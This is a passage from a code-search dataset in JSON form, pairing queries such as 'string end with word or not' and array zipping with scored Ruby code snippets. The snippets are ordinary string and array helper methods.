"score": "0.45187372",
"text": "def each\n position = (0..@max_size - 1)\n\n loop do\n match = @mapper.call(@buffer[position])\n\n if match.nil?\n position = (position.begin..position.end - 1)\n position = slide_unmatched_window(position) if position.end < position.begin\n else\n yield match\n position = slide_matched_window(position)\n end\n\n break if position.first >= @buffer.size\n end\n end",
"title": ""
},
{
"docid": "a50492a40d72dbdbdec88c9638a20259",
"score": "0.45075965",
"text": "def unbuffered_seek(offset, whence = IO::SEEK_SET)\n unless offset == 0 &&\n ((whence == IO::SEEK_SET && @io.respond_to?(:rewind)) ||\n whence == IO::SEEK_CUR) then\n raise Errno::EINVAL\n end\n\n case whence\n when IO::SEEK_SET\n @io.rewind\n @total_bytes_out = 0\n when IO::SEEK_CUR\n @total_bytes_out\n end\n end",
"title": ""
},
{
"docid": "ceeac05a40461935429e932330c75424",
"score": "0.45058653",
"text": "def take_raw(snapshot)\n _buffer(snapshot)\n end",
"title": ""
},
{
"docid": "feeed385b39c02cab26bcdab9cc371d3",
"score": "0.45031193",
"text": "def consume(pattern)\n if input.match?(pattern)\n append input.scan(pattern)\n end\n end",
"title": ""
},
{
"docid": "3cfb7bfbb51323f39d4fb80fb705fd39",
"score": "0.4495002",
"text": "def scan(code, lang, options = T.unsafe(nil), &block); end",
"title": ""
},
{
"docid": "34684e4c99dba803e22ce80668e1c4d7",
"score": "0.448961",
"text": "def skip_until(pattern)\n x = @pos || 0\n y = _scan(pattern, true, false)\n y.nil? ? nil : y - x\n end",
"title": ""
},
{
"docid": "a4687b6007b2efed9dfe39485331b4a8",
"score": "0.44775626",
"text": "def calc_input_offset\n if input_count.zero?\n 0\n else\n buffer.abs_offset\n end\n end",
"title": ""
},
{
"docid": "b20dbac2dd55906957ae7be5393fb848",
"score": "0.44685993",
"text": "def scan(reg, &block)\n ### *** TODO *** ###\n unless Object.const_defined?(:Regexp)\n raise NotImplementedError, \"scan not available (yet)\"\n end\n end",
"title": ""
},
{
"docid": "b0980e4f0f3429289b9bb91058614dee",
"score": "0.44660968",
"text": "def read_buffer(iIdxStartSample, iIdxEndSample)\n lRawBuffer = nil\n lNbrSamplesToRead = iIdxEndSample - iIdxStartSample + 1\n @RawReader.each_buffer(iIdxStartSample, iIdxEndSample) do |iBuffer, iNbrSamples|\n if (lRawBuffer == nil)\n if (lNbrSamplesToRead == iNbrSamples)\n # We have the buffer directly. No copy.\n lRawBuffer = iBuffer\n else\n # We will need to concatenate other buffers. Clone it.\n lRawBuffer = iBuffer.clone\n end\n else\n # Concatenate\n lRawBuffer.concat(iBuffer)\n end\n end\n log_debug \"Decode samples [#{iIdxStartSample} - #{iIdxEndSample}]\"\n \n return @Header.getDecodedSamples(lRawBuffer, lNbrSamplesToRead)\n end",
"title": ""
},
{
"docid": "137e81f053e0cf6ded6581a25809f26e",
"score": "0.4464656",
"text": "def check_scan(s, pattern); end",
"title": ""
},
{
"docid": "137e81f053e0cf6ded6581a25809f26e",
"score": "0.4464656",
"text": "def check_scan(s, pattern); end",
"title": ""
}
] |
16044d9ea99499c41302e2e5185a4cb6 | string end with word or not | [
{
"docid": "3b5b3f8f90bb6a88a6ca6bbd1390b11f",
"score": "0.73096555",
"text": "def stringEndWith\n return $str.include?(\"hello\")\nend",
"title": ""
}
] | [
{
"docid": "d1c32e6ae3bc10303a239d0ee33d798f",
"score": "0.7761797",
"text": "def custom_end_with?(string, substring)\n string[-substring.length..-1] == substring\n # taking everything from the negative whatever (all the characters the last\n # word has up to the last character)\nend",
"title": ""
},
{
"docid": "607921a51128cd0e427e0588f4e24fbf",
"score": "0.7540922",
"text": "def end_word?(word)\n !word.nil? && !(word =~ /^*+[?\\.!]$/).nil?\n end",
"title": ""
},
{
"docid": "74870fea545b21baba2fe01c63027d7f",
"score": "0.726448",
"text": "def ends_with(str,tecken)\n if tecken == str[-1]\n output = true\n else output = false\n end\n return output\nend",
"title": ""
},
{
"docid": "91ee052f0150f02cf7342528e2207e7a",
"score": "0.7140035",
"text": "def solution(str, ending)\n str.end_with?(ending)\nend",
"title": ""
},
{
"docid": "ed5a77b82f46b79658035959bdbbab20",
"score": "0.71313673",
"text": "def solution(str, ending)\n str.ends_with?(ending)\nend",
"title": ""
},
{
"docid": "cbab28eedfbbfa313f44aae04578ffea",
"score": "0.7120237",
"text": "def custom_end_with?(string, substring)\n if string.end_with?(substring)\n return true\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "2aad13858b2cb61eeed82a7af8237a12",
"score": "0.7090725",
"text": "def end_with?(string)\n to_s.end_with? string\n end",
"title": ""
},
{
"docid": "2b865c242c1909e2a6aab5ab5d0a0f23",
"score": "0.7090429",
"text": "def custom_end_with?(s,sbs)\n s[-sbs.length, s.length] == sbs\nend",
"title": ""
},
{
"docid": "741b8d1446e45c9b883d25e419d8693c",
"score": "0.70479846",
"text": "def ends_with(string,letter)\n if string[-1] == letter\n return true\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "fb84fe599870ee3b66a6b8c3a9866fb8",
"score": "0.69469213",
"text": "def last_name_stop?(str)\n last_name_stop_words.include? str\n end",
"title": ""
},
{
"docid": "43493b9b658b72cfcacbb5b4234d4436",
"score": "0.69330406",
"text": "def end_other(str1, str2)\n str1.upcase.end_with?(str2.upcase) or \n str2.upcase.end_with?(str1.upcase)\nend",
"title": ""
},
{
"docid": "d8ece6067accca2bf8dc74f794a0cc82",
"score": "0.69292575",
"text": "def ends_with(string, character)\n if string[-1] == character\n output = true\n else\n output = false\n end\n return output\nend",
"title": ""
},
{
"docid": "b4ffd5de0a613d1c43735080de93c1c7",
"score": "0.69270647",
"text": "def ends(string, check)\n string = string.downcase\n last = string.length - 1\n check = check.downcase\n if check == string[last]\n return true \n else \n return false\n end\nend",
"title": ""
},
{
"docid": "1270846d67c9ddc24028ccf762fd30a7",
"score": "0.6874031",
"text": "def end_with?(str)\n str = str.to_str\n str == right(str.length)\n end",
"title": ""
},
{
"docid": "1374f4fa2ad3b8f46ceb35c710d18784",
"score": "0.684589",
"text": "def endswith?(substring)\n self[-substring.size..-1] == substring\n end",
"title": ""
},
{
"docid": "be0f1fc24e05d309905ac30bd2c5ccd0",
"score": "0.68359435",
"text": "def ends_with(string, char)\n return true if string[-1] == char\n return false\nend",
"title": ""
},
{
"docid": "9dffaa2d06463c90fdf0ca70a24d0399",
"score": "0.68346167",
"text": "def ends_with(string, char)\n return string[-1] == char\nend",
"title": ""
},
{
"docid": "0412df433640270146b88f8eac685d61",
"score": "0.6817119",
"text": "def ends_with? string\n rindex(string) == length - string.length\n end",
"title": ""
},
{
"docid": "5aa37c31f80412424ba72d62773d822c",
"score": "0.6804712",
"text": "def ends_with(string, character)\n return string[-1] == character\nend",
"title": ""
},
{
"docid": "158eb8801cacac8db76d614871e158c3",
"score": "0.6795745",
"text": "def custom_end_with_refine(string, substring)\n\n string[-substring.length..-1] == substring\n #p string[-substring.length..-1] #had to do this with ..\nend",
"title": ""
},
{
"docid": "6ca76e277e48a9e08aa8cb0b24d7d83c",
"score": "0.67926204",
"text": "def end_word_pattern\n /^([a-z0-9_]|[^\\u0000-\\u007F])*[\\?\\!]?/i\n end",
"title": ""
},
{
"docid": "6ca76e277e48a9e08aa8cb0b24d7d83c",
"score": "0.67926204",
"text": "def end_word_pattern\n /^([a-z0-9_]|[^\\u0000-\\u007F])*[\\?\\!]?/i\n end",
"title": ""
},
{
"docid": "61707e2c51d24971a03ccf3ae05dc7a0",
"score": "0.6751371",
"text": "def just_end?(string)\n /^\\s*end\\s*$/ === string\nend",
"title": ""
},
{
"docid": "79562f3991b71120f4690b76c5d3a457",
"score": "0.6739366",
"text": "def ends_with(string,char)\n return \"empty string\" if is_empty(string) == true || is_empty(char) == true\n return true if string[string.length-1] == char else return false\nend",
"title": ""
},
{
"docid": "684d7e3a60b3a6d9404f7ff94c682094",
"score": "0.67268324",
"text": "def address_him_without_anything word\n\t\tword.strip.empty?? true : false\n\tend",
"title": ""
},
{
"docid": "96c119b014cff24be144b4839573b3e5",
"score": "0.67237216",
"text": "def complete_word?(str)\n str =~ /#{ArchiveConfig.autocomplete[:terminator]}$/\n end",
"title": ""
},
{
"docid": "bf2e2fcbda97b58f60cf7088d3d15b04",
"score": "0.668507",
"text": "def ends_with?(str)\n self.length >= str.length && (str.empty? || self[-str.length..-1] == str)\n end",
"title": ""
},
{
"docid": "5c28e485eb4ddf1e3f59b50460b6ffc7",
"score": "0.6664607",
"text": "def starts_and_ends_with_same_letter?(word)\n word[0] == word[-1]\nend",
"title": ""
},
{
"docid": "ac37122d5eb22fd841222de23fcccf61",
"score": "0.6651199",
"text": "def endswith(str)\n set_function_and_argument(:endswith, str)\n end",
"title": ""
},
{
"docid": "a673aef7ac882d733e370517f4fe9eb1",
"score": "0.662993",
"text": "def ends_with(string, chr)\n if string[-1] == chr\n return true\n else \n return false\n end\nend",
"title": ""
},
{
"docid": "b4e4d5c78b93fe84981476e52c2ddd4d",
"score": "0.6627898",
"text": "def ends_with? str\n self[-str.length, str.length] == str\n end",
"title": ""
},
{
"docid": "af1bf74b0e92bdf1505ea0f2ec93d43b",
"score": "0.66257054",
"text": "def confirmEnding(str, target)\n\tresult = false\n\t(0..str.length).each do |str_index|\n\t\tif( str[str_index, (str.length)] == target)\n\t\t\tresult = true\t\n\t\tend\n\tend\t\n\tresult\nend",
"title": ""
},
{
"docid": "74e8310b1b8326ad3de51a0d5237475f",
"score": "0.6594302",
"text": "def endswith(substring)\n self[-substring.size..-1] == substring\n end",
"title": ""
},
{
"docid": "7c6b234e6194a51f34eda3d55618005e",
"score": "0.6594199",
"text": "def ends_with?(string, suffix)\n string.rindex(suffix) == string.size - suffix.size\n end",
"title": ""
},
{
"docid": "ce4bf6b6f6b7b346d993fa8789e1a75f",
"score": "0.6574153",
"text": "def follows_proper_suffix_patterns? word\n @suffixes.each do | suffix |\n next if not word =~ /#{suffix}$/\n return true if word.length == suffix.length\n index = (suffix.length * -1) - 1\n return false if word[index] == suffix[0]\n end\n true\n end",
"title": ""
},
{
"docid": "15780ed3ad0d3873e105c6df1f0e3aa0",
"score": "0.65293896",
"text": "def middle_with?(str)\n (self =~ /.+#{str}.+/)? true : false\n end",
"title": ""
},
{
"docid": "6e399c4981df98cb0b3e40b1d7396fd8",
"score": "0.6501397",
"text": "def solution(str, ending)\n return str[-ending.length..-1] == ending ? true : false\nend",
"title": ""
},
{
"docid": "ad4cef4d8d6fdfe83304f91272a395b7",
"score": "0.6487869",
"text": "def end_with(str)\n\t\tbegin\n\t\t\ti = self.length - str.length\n\t\t\tself[i..self.length] == str\n\t\trescue Exception => e\n\t\t\tfalse\n\t\tend\n\tend",
"title": ""
},
{
"docid": "2aa8ea17c7938c07a69bf2d75d43f53c",
"score": "0.6486081",
"text": "def ends_with(text)\n where_like(\"%#{text}\")\n end",
"title": ""
},
{
"docid": "88bacbeca69951f73c7b100ce6d5696e",
"score": "0.64778614",
"text": "def ends_with(str)\n return \"You need string\" if str.length === 0\n return str[str.length-1]\nend",
"title": ""
},
{
"docid": "7d0ebed44bdba5cff1401d28b4716323",
"score": "0.64718854",
"text": "def exact_except_last_word\n return true if exact\n words = [a,b].collect(&:split)\n exact *words.collect{|w| w.size == 1 ? w : w[0..-2]}\n end",
"title": ""
},
{
"docid": "eda6d1d41c14ef598bfbec069d4ab6ce",
"score": "0.6471755",
"text": "def address_him_without_anything\n\t\t\treturn @word.strip.empty?? true : false\n\t\tend",
"title": ""
},
{
"docid": "c4274f3463d9d14c3ccbc319a993cfb6",
"score": "0.64531994",
"text": "def string_end_with_semicolon?(str); end",
"title": ""
},
{
"docid": "c4274f3463d9d14c3ccbc319a993cfb6",
"score": "0.64531994",
"text": "def string_end_with_semicolon?(str); end",
"title": ""
},
{
"docid": "505f843544898e1aece07e8705ae986e",
"score": "0.6448305",
"text": "def end_of_word\n @end_of_word ||= begin\n match = source.code[offset..-1].to_s.match(end_word_pattern)\n match ? match[0] : ''\n end\n end",
"title": ""
},
{
"docid": "505f843544898e1aece07e8705ae986e",
"score": "0.6448305",
"text": "def end_of_word\n @end_of_word ||= begin\n match = source.code[offset..-1].to_s.match(end_word_pattern)\n match ? match[0] : ''\n end\n end",
"title": ""
},
{
"docid": "23225c93e991ca4c1ff5fc0a7a31b298",
"score": "0.6407754",
"text": "def example4(string)\n string.start_with? 'Ka'\n string.end_with? 'ti'\nend",
"title": ""
},
{
"docid": "65aa947b8e10642f0ec2299586504283",
"score": "0.6333332",
"text": "def first_word_capitalized_and_ends_with_punctuation?(punctuation)\n if punctuation.match(/\\A[A-Z].*\\W\\z/) # if first word of second sentence is not capitalized and/or first\n # sentence does not include punctuation it will still return true. Test only checks the ends of entire string.\n true\n else false\n end\nend",
"title": ""
},
{
"docid": "633868a25ed310afa8909f38b75c331a",
"score": "0.6309813",
"text": "def check_if_word_is_complete(word, empty_word)\n word != empty_word.join(\"\")\nend",
"title": ""
},
{
"docid": "280d74961f72b2e67994806d027377a2",
"score": "0.628223",
"text": "def has_suffix(str)\n if self.index(str) and (self.index(str) + str.length == self.length)\n return true\n end\n false\n end",
"title": ""
},
{
"docid": "698d7427a7661f8bac18e62d1f09b69b",
"score": "0.6274498",
"text": "def includes?(word)\n #remove all especial and number characters\n word = word.gsub(/[^A-Za-z]/,'')\n #false case condition\n if @lyrics.count(word) == 0\n return false\n end\n #true case condition\n return @lyrics.any? { |word| word.length > 0}\n end",
"title": ""
},
{
"docid": "9347983207837598d652fc69278b40dc",
"score": "0.62334454",
"text": "def trailing_string(words)\n first_word, second_word = words\n if first_word[-(second_word.length), first_word.length] == second_word\n puts '1'\n else\n puts '0'\n end\nend",
"title": ""
},
{
"docid": "95923f22c69c82eefec9dc964801b7da",
"score": "0.6230535",
"text": "def possessiveize(word)\r\n #MGS- add 's unless word ends in s, then just add '\r\n 's' == word[-1].chr ? word + \"'\" : word + \"'s\"\r\n end",
"title": ""
},
{
"docid": "cf8110bfb2322d11c2627f5042f514fd",
"score": "0.62163013",
"text": "def end_of_multi_line_string?\n self.any? { |e| e[1] == :on_tstring_end } &&\n self.none? { |e| e[1] == :on_tstring_beg }\n end",
"title": ""
},
{
"docid": "bc63abee16da9a4eeac69d0407a414a6",
"score": "0.61710185",
"text": "def keyboard_char_ends_word?(char)\n [:tab, :enter, :space, '.'].include?(char)\n end",
"title": ""
},
{
"docid": "13df593da4484923eff056f2ab36e5c3",
"score": "0.61505216",
"text": "def yell\n\t\t\treturn @word.match(/[a-z]/).nil?? true : false\n\t\tend",
"title": ""
},
{
"docid": "3b7e8273ca5c98782c430cc32e0f18c3",
"score": "0.61476475",
"text": "def check_ending(str1, str2)\n str1[(str1.length - str2.length)..-1] == str2\nend",
"title": ""
},
{
"docid": "c24bf385b3b3b79ead8a57bb31c15564",
"score": "0.61450416",
"text": "def ends_with? suffix\n self[-suffix.length..-1] == suffix\n end",
"title": ""
},
{
"docid": "2b8df059e4794f689c6fab2427621591",
"score": "0.6144791",
"text": "def no_space_after? string\n # Get out if the check is for a '?' and that's part of a method name.\n if self.question_mark_method?\n return false\n end\n\n # Get out if this line is a comment line\n if self.comment_line?\n return false\n end\n\n # Get out if the string is within another string\n if word_is_in_string? string\n return false\n end\n\n # Get out if the string is within another string\n if word_is_in_regexp? string\n return false\n end\n\n counts = []\n spaces_after(string).each { |s| counts << s }\n\n result = false\n counts.each do |count|\n if count == 0\n @line_problem_count += 1\n print_problem \"Line has a '#{string}' with 0 spaces after it:\"\n result = true\n end\n end\n\n result\n end",
"title": ""
},
{
"docid": "c513f41e474235db2031dbc5edd39ee3",
"score": "0.61331284",
"text": "def ends_with_problem?(str)\n str =~ %r{[#{@utf_8_beginning_chars}]#{@problem_char}$}\n end",
"title": ""
},
{
"docid": "f39d1d90b1e2ff85334006001b2fe31b",
"score": "0.6132473",
"text": "def first_word_capitalized_and_ends_with_punctuation?(text)\n text.match(/^[A-Z].*\\W$/)? true : false\nend",
"title": ""
},
{
"docid": "5432b4946efb2de351683be436b0b83d",
"score": "0.6119982",
"text": "def in_string?; end",
"title": ""
},
{
"docid": "5432b4946efb2de351683be436b0b83d",
"score": "0.6119982",
"text": "def in_string?; end",
"title": ""
},
{
"docid": "fe87dd19ed4906db20a673c67a7eb2a6",
"score": "0.60997534",
"text": "def endWithPunctuation(inputText)\n\tinputArray = inputText.split('')\n\tif inputArray[-1] == \".\"\n\t\treturn TRUE \n\telsif inputArray[-1] == \"?\"\n\t\treturn TRUE\n\telsif inputArray[-1] == \"!\"\n\t\treturn TRUE\n\telse\n\t\treturn FALSE\n\tend\t\n\n\t# return inputArray\nend",
"title": ""
},
{
"docid": "5c844e27b65270361b778bd34ab60275",
"score": "0.6099029",
"text": "def first_name_stop?(str)\n first_name_stop_words.include? str\n end",
"title": ""
},
{
"docid": "97bd5d21efd1ee724d100ae6b9f860a2",
"score": "0.6098443",
"text": "def chk_for_string(word)\n \t\tif /lab/ =~ word\n \t\t puts word\n \t\telse\n \t\t puts \"No match\"\n \t\tend\n\tend",
"title": ""
},
{
"docid": "25c84b202ae36d3a9aec6513bd19de7d",
"score": "0.6097894",
"text": "def special_word?(str)\n if str[0] == 'c' && str.length % 2 == 0\n return false\n elsif str[0] == 'c' || str.length % 2 == 0\n return true\n end\n return false\nend",
"title": ""
},
{
"docid": "1d896b137a44169efb42e4ed5671a924",
"score": "0.6096505",
"text": "def danglers?(str)\n\t\t@last_letter == str.length && @word_index.keys.join.length < str.length\n\tend",
"title": ""
},
{
"docid": "87f1cadbd0410740f229275bedb54ec4",
"score": "0.6092345",
"text": "def has_lab?(word)\n if word =~ /lab/\n true\n else\n false\n end\nend",
"title": ""
},
{
"docid": "14563237449be4823adfbe24d5d0be72",
"score": "0.6091218",
"text": "def backward_kill_word(*)\n first_letter_backward = buffer.rindex(/\\p{L}/, buffer.point) || 0\n first_non_letter_before_word = buffer.rindex(/\\P{L}/, first_letter_backward) || -1\n buffer.slice!(first_non_letter_before_word + 1..buffer.point)\n true\n end",
"title": ""
},
{
"docid": "2d7bbcb70f6d8b3b6f97878b9915c2de",
"score": "0.60895544",
"text": "def proper(word)\n /[[:upper:]]/.match(word) != nil\nend",
"title": ""
},
{
"docid": "8d58cbd938bbb686cf6b0e74fd34688a",
"score": "0.6087638",
"text": "def ends_with?(str)\n str = str.chr if str.instance_of? Fixnum\n return (self[-str.size..-1] == str)\n end",
"title": ""
},
{
"docid": "63c453c94028eb0ed6b0410e5173da2b",
"score": "0.60866666",
"text": "def clean_verse_end(text)\n case text\n when /[a-zA-Z]$/ # no ending \".\"\n text << '...'\n when /[,;]$/\n text.sub!(/[,;]$/, '...') # ends with \",\" or \";\"\n else\n text\n end\n text\n end",
"title": ""
},
{
"docid": "cc1b63168c702f78b78572d1a0b042f8",
"score": "0.60837346",
"text": "def end_token?(token)\n return token == END_OF_INPUT_STRING\n end",
"title": ""
},
{
"docid": "bd82eb7da5abd60048f2c1ad8ab4f3fe",
"score": "0.60770786",
"text": "def isAlt(s) ! (/[aeiou]{2}/ =~s) end",
"title": ""
},
{
"docid": "71dd6e8382ac3bf1ddf88b3d472a14eb",
"score": "0.60727954",
"text": "def number_after_word?(str)\n !!(str =~ /(?<=\\w) (\\d+)/)\nend",
"title": ""
},
{
"docid": "dc6cf4221651a805508c41e965f3d95c",
"score": "0.6068073",
"text": "def should_end? str\n return true if str.length >= @max_length\n return true unless @digraph_counts[digraph str]\n return true if rand(@length_totals) < @length_counts[str.length + 1]\n\n false\n end",
"title": ""
},
{
"docid": "2567880d237ecae244d2eceab674aa8e",
"score": "0.6067092",
"text": "def words_starting_with_un_and_ending_with_ing(text)\n\nend",
"title": ""
},
{
"docid": "49da647ba631c2f2e9ebf30bd20b9db6",
"score": "0.60615844",
"text": "def ends_not_with(text)\n where_not_like(\"%#{text}\")\n end",
"title": ""
},
{
"docid": "62a1abffb295f0de5b5590ae6a44036f",
"score": "0.6054222",
"text": "def word?\n regex_helper( /^\\w+$/ )\n end",
"title": ""
},
{
"docid": "97468440d35d6bed9dd7d6fb6cbdaffd",
"score": "0.6053818",
"text": "def exclamation? # repeat from above examples but instead returning true for end with !\n self.end_with?(\"!\") # ...\n end",
"title": ""
},
{
"docid": "b37b5b0cf2487a79b45cee9373631fc0",
"score": "0.6047282",
"text": "def danglers?\n !valid_word?(@str[@first_letter..@last_letter]) && @last_letter == @str.length && @words.join.length < @str.length\n end",
"title": ""
},
{
"docid": "c02d5be13eb1c284adf2466996447299",
"score": "0.6038971",
"text": "def verb?(word)\n word.size >= MINIMUM_VERB_SIZE && # at least 8 chars\n !FOO_LETTERS.include?(word[word.size - 1]) # the last letter must be included in BAR LETTER group\n end",
"title": ""
},
{
"docid": "795b16a937bcb772bace633e56e18400",
"score": "0.6038427",
"text": "def first_word_capitalized_and_ends_with_punctuation?(text)\n text.match(/\\A[A-Z].+[.!]\\z/) ? true : false\nend",
"title": ""
},
{
"docid": "e3811036d415af96a04784c5c1f1aa06",
"score": "0.603188",
"text": "def danglers?\n\t !valid_word?(@str[@first_letter..@last_letter]) && @last_letter == @str.length && @words.join.length < @str.length\n\tend",
"title": ""
},
{
"docid": "7579800b0e369a5fb85ba7480bd19600",
"score": "0.6031756",
"text": "def yell word\n\t\tword.match(/[a-z]/).nil?? true : false\n\tend",
"title": ""
},
{
"docid": "437781e8995837154607ee1fb8d42920",
"score": "0.60293424",
"text": "def is_word?\n !(self =~ /^[a-zA-Z]+$/).nil?\n end",
"title": ""
},
{
"docid": "184c592fc782dec72588270fa35cd19f",
"score": "0.60292864",
"text": "def long_word_boundary?(curr, prev) \n\t\tcurr !~ /\\s/ && prev =~ /\\s/\n\tend",
"title": ""
},
{
"docid": "83d93e66a1fc3a3e477d43cf9392592f",
"score": "0.60262686",
"text": "def contains?(word)\n node = get(word)\n return false if node.nil?\n node.word_end\n end",
"title": ""
},
{
"docid": "6432117f9ccd36b87000d65e27471540",
"score": "0.60239446",
"text": "def remove_suffix(word)\n word.sub(/(is|isme|isasi|i|kan|an)$/, '')\n end",
"title": ""
},
{
"docid": "646caceaad1b4dd9164c9d57563d8868",
"score": "0.6023879",
"text": "def ends_with_space?(var)\n\treturn var[var.length - 1] == \" \"\nend",
"title": ""
},
{
"docid": "e5ee0a1d10544d9f7ce3bccc7f0ae756",
"score": "0.6019303",
"text": "def partial_word? chars\n chars.empty? || has_partial_word?(chars)\n end",
"title": ""
},
{
"docid": "f639c377ed1be24162f089db0e3b7fff",
"score": "0.6016899",
"text": "def ends_with?(suffix)\n suffix.respond_to?(:to_str) && self[-suffix.length, suffix.length] == suffix\n end",
"title": ""
},
{
"docid": "abc7834ee42f91120bf3e0063d6ee9c0",
"score": "0.6014701",
"text": "def words_starting_with_un_and_ending_with_ing(text)\n text.split().grep(/\\bun\\w+ing\\b/)\nend",
"title": ""
},
{
"docid": "5f8f24f32dab74ef1e488054cbdaf224",
"score": "0.59890896",
"text": "def block_word?(string)\n PAIRS.each do |pair|\n return false if string.include?(pair.first) && string.include?(pair.last) \n end\n true\nend",
"title": ""
},
{
"docid": "86d5dd07599339b31dfa0293cd2433ab",
"score": "0.59890866",
"text": "def reverseSubstring(big, little)\n return big.include? little.reverse\nend",
"title": ""
},
{
"docid": "502aa1f372024ea40cb6adfe60181079",
"score": "0.5985983",
"text": "def question? # this instance method should return true if the string ends with a question mark\n self.end_with?(\"?\") # again using self to refer to the sentence we are calling on to check ends with ?\n end",
"title": ""
},
{
"docid": "e9c79fb9e9f50e3d36029d274f6d600e",
"score": "0.5979465",
"text": "def partial_word? word = ''\n root.partial_word? word.chars\n end",
"title": ""
},
{
"docid": "e9c79fb9e9f50e3d36029d274f6d600e",
"score": "0.5979465",
"text": "def partial_word? word = ''\n root.partial_word? word.chars\n end",
"title": ""
},
{
"docid": "8f5eb4be7da713e3113736c207bade9d",
"score": "0.59743136",
"text": "def ends_with?(s)\n rindex(s) == size - s.size\n end",
"title": ""
}
] |
b4611d7206ad640373ef54875491ae09 | Places them in a new array after pairing. Abandoned .map, could probably make it work in an unnecessarily long way. Using .zip found in ruby docs instead. Need to split array in half to use it. | [
{
"docid": "4d821eb7d6041b91da04530b34d04ea7",
"score": "0.67500275",
"text": "def pairs(letters)\r\n\t#shuffle bang! shuffles letters in place permanently\r\n\tletters.shuffle!\r\n\t#Slicing array into 2 halves and assigning to one and two, while converting to array\r\n\t#.round places the uneven element into the first array (one)\r\n\tone,two = letters.each_slice((letters.size/2.0).round).to_a\r\n\t#Found applicable method in ruby docs for Array\r\n\t#Converts arguments to arrays and merges corresponding elements\r\n\t#Syntax below will take one[0] and merge with two[0], so on through the index\r\n\tpairs = one.zip(two)\r\n\t#If statement to catch inputs with uneven numbered arrays.\r\n\t#If the arrays sliced in half aren't the same length, we know there is an extra letter.\r\n\t#Pushes the first element in the last 'inner' array [-1][0], to the first element of the 'outer' array.\r\n\t#Deletes the last element\r\n\tif one.length != two.length\r\n\t\tpairs[0] << pairs[-1][0]\r\n\t\tpairs.delete_at(-1)\r\n\tend\r\n\t#executes pairs\r\n\t\tpairs\r\nend",
"title": ""
}
] | [
{
"docid": "7e6466348cceff44d42730315b2bc809",
"score": "0.75940937",
"text": "def zip(arr1, arr2)\n arr1.each_index.each_with_object([]) do |idx, result|\n result << [arr1[idx], arr2[idx]]\n end\nend",
"title": ""
},
{
"docid": "7371b64518a35e1ee1fc04e11e98074c",
"score": "0.7590679",
"text": "def custom_zip(array1, array2)\n final = []\n i = 0\n while i < array1.length\n final[i] = array1[i], array2[i]\n i += 1\n end\n return final\nend",
"title": ""
},
{
"docid": "8d4e39580dde4cdc39a5e198c47b215c",
"score": "0.7546613",
"text": "def zip(array_1, array_2)\n result = []\n array_1.each_index do |index|\n result << [array_1[index], array_2[index]]\n end \nresult\nend",
"title": ""
},
{
"docid": "1386fcee0fa5787a0a3aa4dc8b49034c",
"score": "0.75217164",
"text": "def zip(array1, array2)\n array1.map.with_index do |elem, idx|\n [elem, array2[idx]]\n end\nend",
"title": ""
},
{
"docid": "66362ce9d42053e8d510d7ae6217bc4d",
"score": "0.749019",
"text": "def zipper(array1, array2)\n array1.each_with_index.with_object([]) do |(element, index), result|\n result << [element, array2[index]]\n end\nend",
"title": ""
},
{
"docid": "943a1ed7bba95c316310670b503b9910",
"score": "0.74615175",
"text": "def zipped(arr_1, arr_2)\n arr_1.zip(arr_2).flatten\nend",
"title": ""
},
{
"docid": "01c5afb90135455e7cb3362878a7a170",
"score": "0.7445193",
"text": "def zip(arr1, arr2)\r\n result = []\r\n arr1.each_with_index do |elem, idx|\r\n result << [elem, arr2[idx]]\r\n end\r\n result\r\nend",
"title": ""
},
{
"docid": "4878099704bf0a1d21a861e91f341d4c",
"score": "0.7431779",
"text": "def zipper(array1, array2)\n result = []\n array1.each_with_index do |element, index|\n result << [element, array2[index]]\n end\n result\nend",
"title": ""
},
{
"docid": "63dae6087739d4354334a51bde3c35df",
"score": "0.74245787",
"text": "def zip(arr1, arr2)\n new_arr = []\n\n arr1.each_with_index do |el, idx|\n new_arr << [el, arr2[idx]]\n end\n new_arr\nend",
"title": ""
},
{
"docid": "67290128842147140da39ba8c83fa842",
"score": "0.74037695",
"text": "def zip(ary1, ary2)\n ary1.map.with_index { |element, index| [element, ary2[index]] }\nend",
"title": ""
},
{
"docid": "dd727caed4518138113ff09be4c40b28",
"score": "0.7402314",
"text": "def zip(array_1, array_2)\n output = []\n array_1.each_with_index do |item, idx|\n output << [item, array_2[idx]]\n end\n output\nend",
"title": ""
},
{
"docid": "8dcf67051c66d179f4f3540ab09fa176",
"score": "0.73868483",
"text": "def zip(array1, array2)\n index = 0\n size = array1.size\n resultant_array = []\n\n while index < size\n resultant_array << [array1[index], array2[index]]\n index += 1\n end\n\n resultant_array\nend",
"title": ""
},
{
"docid": "71e2b8dd55fdb6f174e6f25aaa89a9c9",
"score": "0.7383896",
"text": "def zip(array1, array2)\n zipped_array = []\n array1.each do |item|\n zipped_array << [item, array2.shift]\n end\n zipped_array\nend",
"title": ""
},
{
"docid": "f91117207ccf09e2e69c0dad248799b9",
"score": "0.7373559",
"text": "def zip (*args); values(:ary).zip(*args); end",
"title": ""
},
{
"docid": "8f0fcca39555caa2c41d61b5ec66ba2d",
"score": "0.73724407",
"text": "def zip(array1, array2)\r\n result = []\r\n index = 0\r\n length = array1.length\r\n while index < length\r\n result << [array1[index], array2[index]]\r\n index += 1\r\n end\r\n result\r\nend",
"title": ""
},
{
"docid": "4747b69824ed6e2ea5869b8ed7958c48",
"score": "0.7372433",
"text": "def zip(a1, a2)\n out_arr = []\n a1.size.times do |index|\n out_arr << [a1[index], a2[index]]\n end\n out_arr\nend",
"title": ""
},
{
"docid": "3e179e6a68dadd39064fdb768f239031",
"score": "0.7347813",
"text": "def custom_zip(arr1, arr2)\n new = []\n arr1.each_with_index do |value, index|\n new << [value, arr2[index]]\n end\n new\nend",
"title": ""
},
{
"docid": "2d0cd17e81a8a8131a5a53d3a0f5be3b",
"score": "0.73455393",
"text": "def zip(*arr)\r\n out_length = arr.length\r\n sub_length = arr[0].length\r\n answer = Array.new (sub_length){Array.new(out_length)}\r\n (0...out_length).each do |out_i|\r\n (0...sub_length).each do |in_i|\r\n answer[in_i][out_i] = arr[out_i][in_i] \r\n end\r\n end\r\n answer\r\nend",
"title": ""
},
{
"docid": "bcdde00a417614d447f0f32bbb0041f6",
"score": "0.73425496",
"text": "def zip(arr1, arr2)\n arr1.map.with_index { |elm, ind| [elm, arr2[ind]] }\nend",
"title": ""
},
{
"docid": "3b26b50ddbb2e18dbe2b36bab6c551d9",
"score": "0.7332549",
